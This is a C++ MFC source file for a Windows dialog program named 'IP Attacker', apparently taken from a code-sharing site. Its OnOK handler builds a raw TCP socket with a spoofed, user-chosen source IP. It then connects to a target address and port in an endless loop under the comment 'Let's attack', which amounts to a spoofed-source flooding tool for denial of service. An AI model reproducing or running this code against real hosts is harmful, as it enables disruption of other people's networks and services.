📄 ipattackerdlg.cpp
字号:
// IPAttackerDlg.cpp : implementation file
//
#include "stdafx.h"
#include "IPAttacker.h"
#include "IPAttackerDlg.h"
#include "SpoofSocket.h"
#include "TCPSocket.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
//##ModelId=3B43E6F5039A
class CAboutDlg : public CDialog
{
public:
//##ModelId=3B43E6F503AF
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
//##ModelId=3B43E6F503B8
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//##ModelId=3B43E6F503AF
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
//##ModelId=3B43E6F503B8
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CIPAttackerDlg dialog
//##ModelId=3B43E6F401FE
CIPAttackerDlg::CIPAttackerDlg(CWnd* pParent /*=NULL*/)
: CDialog(CIPAttackerDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CIPAttackerDlg)
m_Packets = 0;
m_SourcePort = 0;
m_DestinationPort = 0;
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
//##ModelId=3B43E6F40276
void CIPAttackerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CIPAttackerDlg)
DDX_Control(pDX, IDC_DESTIP, m_DestinationIP);
DDX_Control(pDX, IDC_SOURCEIP, m_SourceIP);
DDX_Text(pDX, IDC_PACKETS, m_Packets);
DDV_MinMaxInt(pDX, m_Packets, 1, 65000);
DDX_Text(pDX, IDC_SOURCEPORT, m_SourcePort);
DDX_Text(pDX, IDC_DESTINATIONPORT, m_DestinationPort);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CIPAttackerDlg, CDialog)
//{{AFX_MSG_MAP(CIPAttackerDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CIPAttackerDlg message handlers
//##ModelId=3B43E6F4029F
BOOL CIPAttackerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
//##ModelId=3B43E6F402A9
void CIPAttackerDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
//##ModelId=3B43E6F402BD
void CIPAttackerDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
//##ModelId=3B43E6F402C7
HCURSOR CIPAttackerDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
//##ModelId=3B43E6F402D1
void CIPAttackerDlg::OnOK()
{
// TODO: Add extra validation here
if (UpdateData(TRUE))
{
CTCPSocket* tcp;
tcp=new CTCPSocket();
//Was an error
BOOL bError=TRUE;
tcp->SetRaw(TRUE);
if (tcp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_SourceIP);
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALID_SOURCE);
else
{
//Copy source IP
cSourceIP=_strdup(cSourceIP);
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR(&m_DestinationIP);
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALID_DESTINATION);
}
else
{
bError=TRUE;
//Let's attack
tcp->SetSourceAddress(cSourceIP);
tcp->Bind(cSourceIP);
//SetIPOptions(tcp);
//Check if allowing TCP options
tcp->SetTCPOptions(TRUE);
tcp->GetTCPOptions()->AddOption_Nothing();
tcp->GetTCPOptions()->AddOption_ENDLIST();
//for (int iCount=1;iCount<=m_Packets;iCount++)
while(1)
if (tcp->Connect(m_SourcePort,cDestinationIP,m_DestinationPort))
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(tcp);
tcp->Close();
delete tcp;
//CDialog::OnOK();
}
}
//##ModelId=3B43E6F402E5
LPSTR CIPAttackerDlg::IPCtrlToSTR(CIPAddressCtrl* ctrl)
{
//Converts the control address to textual address
//Convert bytes to string
BYTE bOctet1;
BYTE bOctet2;
BYTE bOctet3;
BYTE bOctet4;
//Get the value and blank values
int iBlank;
iBlank=ctrl->GetAddress(bOctet1,bOctet2,bOctet3,bOctet4);
if (iBlank!=4)
//Not filled
return NULL;
else
{
in_addr iAddr;
iAddr.S_un.S_un_b.s_b1=bOctet1;
iAddr.S_un.S_un_b.s_b2=bOctet2;
iAddr.S_un.S_un_b.s_b3=bOctet3;
iAddr.S_un.S_un_b.s_b4=bOctet4;
return inet_ntoa(iAddr);
}
}
//##ModelId=3B43E6F402DB
void CIPAttackerDlg::SetIPOptions(CSpoofSocket *sok)
{
//Add options
sok->SetOptions(TRUE);
sok->GetOptions()->AddOption_Security(IPOption_SECURITY_TOPSECRET);
sok->GetOptions()->AddOption_Stream(1);
tRouting rRT;
rRT.iRoutes=1;
rRT.ulRoutes[0]=inet_addr("127.0.0.1");
sok->GetOptions()->AddOption_LooseRoute(rRT);
sok->GetOptions()->AddOption_RecordRoute(1);
sok->GetOptions()->AddOption_ENDLIST();
}
//##ModelId=3B43E6F40295
void CIPAttackerDlg::DisplaySocketError(CSpoofSocket *sock)
{
//Display an error
char* cErr;
cErr=new char[10];
itoa(sock->GetLastError(),cErr,10);
char* cMsg;
cMsg=new char[40];
strcpy(cMsg,"Winsock error : ");
strcat(cMsg,cErr);
AfxMessageBox(cMsg);
delete cMsg;
delete cErr;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -